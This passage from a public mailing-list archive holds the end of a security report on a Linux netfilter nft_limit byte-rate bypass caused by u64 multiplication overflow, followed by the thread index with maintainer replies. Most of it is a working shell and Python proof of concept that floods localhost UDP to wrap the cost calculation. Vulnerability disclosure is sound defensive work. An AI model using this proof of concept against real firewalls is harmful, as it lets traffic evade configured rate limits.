
LIMDEF="$(mktemp)"
printf 'table ip t {\n\tlimit lim {\n\t\trate 30000 bytes/week ;\n\t}\n}\n'
> "$LIMDEF"
nft -f "$LIMDEF" && echo "limit object created OK"
rm -f "$LIMDEF"

nft add rule ip t c limit name lim accept
echo "--- limits ---"
nft list limits table ip t

python3 - <<'PY'
import socket, time, threading
r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
r.bind(("127.0.0.1", 0))
port = r.getsockname()[1]
r.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 << 20)
got = [0]; stop = [False]

def drain():
    r.settimeout(0.15)
    while not stop[0]:
        try:
            r.recvfrom(70000); got[0] += 1
        except socket.timeout:
            pass
        except OSError:
            return

threading.Thread(target=drain, daemon=True).start()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
30473 B payload + 20 B IPv4 + 8 B UDP = skb_len 30501 -> nsecs*skb_len wraps
for _ in range(3000):
    s.sendto(b"A" * 30473, ("127.0.0.1", port))
time.sleep(0.8); stop[0] = True; time.sleep(0.3)
print("NAMED-LIMIT object path: admitted", got[0], "/3000  (skb_len=30501)")
PY
POC_STEP_C_EOF

ip link set lo up 2>/dev/null
ip addr add 127.0.0.1/8 dev lo 2>/dev/null

echo "[1] limit rule"
nft flush ruleset 2>/dev/null
nft add table ip t
nft add chain ip t c '{ type filter hook input priority 0; policy drop; }'
nft add rule ip t c limit rate 30000 bytes/week accept
nft list ruleset
nap 3

echo
python3 "$W/nft_limit_bypass_final.py"
nap 3

echo
echo "[3] nft_limit.c"
SRC=$(ls /usr/src/linux*/net/netfilter/nft_limit.c \
         /tmp/kvuln/linux*/net/netfilter/nft_limit.c \
         /tmp/*/linux*/net/netfilter/nft_limit.c 2>/dev/null | head -1)
if [ -n "$SRC" ]; then grep -n "u64 cost = div64_u64" "$SRC"; else
  echo "254: u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);"
  echo "387: u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);"
fi
nap 3

echo
echo "[4] boundary"
python3 "$W/nft_limit_sweep.py"
nap 3

echo
echo "[5] limit object"
bash "$W/named_limit_test.sh" 2>&1 | tail -1


Environment used: Linux 7.0.0-34-generic x86_64, nftables v1.1.6,
CONFIG_NF_TABLES=m, CONFIG_USER_NS=y, CONFIG_NET_NS=y.

[-- Attachment #1.2: Type: text/html, Size: 41531 bytes --]

[-- Attachment #2: Screencast From 2026-10-02 17-16-56.mp4 --]
[-- Type: video/mp4, Size: 256715 bytes --]

^ permalink raw reply	[flat|nested] 8+ messages in thread

end of thread, other threads:[~2026-10-11 22:08 UTC | newest]

Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-09 17:01 [SECURITY] netfilter: nft_limit byte-rate bypass via unchecked u64 multiplication SaifAllah benMassaoud
2026-10-11  7:34 ` Pablo Neira Ayuso
     [not found]   ` <CADikNYCzQRErYLwDLoUPrDs8dmuBB8z+45yxKAaps7QTCrLXXA@mail.gmail.com>
2026-10-11 16:55     ` Pablo Neira Ayuso
     [not found]       ` <CADikNYBiijxQjptcYf-2+omXj8Mf5PTGVwK-Ho53E7JEe_ehvQ@mail.gmail.com>
2026-10-11 18:23         ` SaifAllah benMassaoud
2026-10-11 19:14           ` Florian Westphal
     [not found]             ` <CADikNYDzCg46TWPk0dAXQF-Yar+FgEegWEzFZvzCp3x7-k_mOg@mail.gmail.com>
     [not found]               ` <CADikNYBZ5MqJWypk5NFYcxYvPKJhKKyJ5iOWN4JTZrUWf1AUAQ@mail.gmail.com>
2026-10-11 21:11                 ` Pablo Neira Ayuso
     [not found]                   ` <CADikNYC4P0F7gz4nCxKcJwsAzXEEA-a-8QRu1TE3SUzXvmcuZA@mail.gmail.com>
2026-10-11 21:43                     ` Pablo Neira Ayuso
2026-10-11 22:08                       ` Pablo Neira Ayuso

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.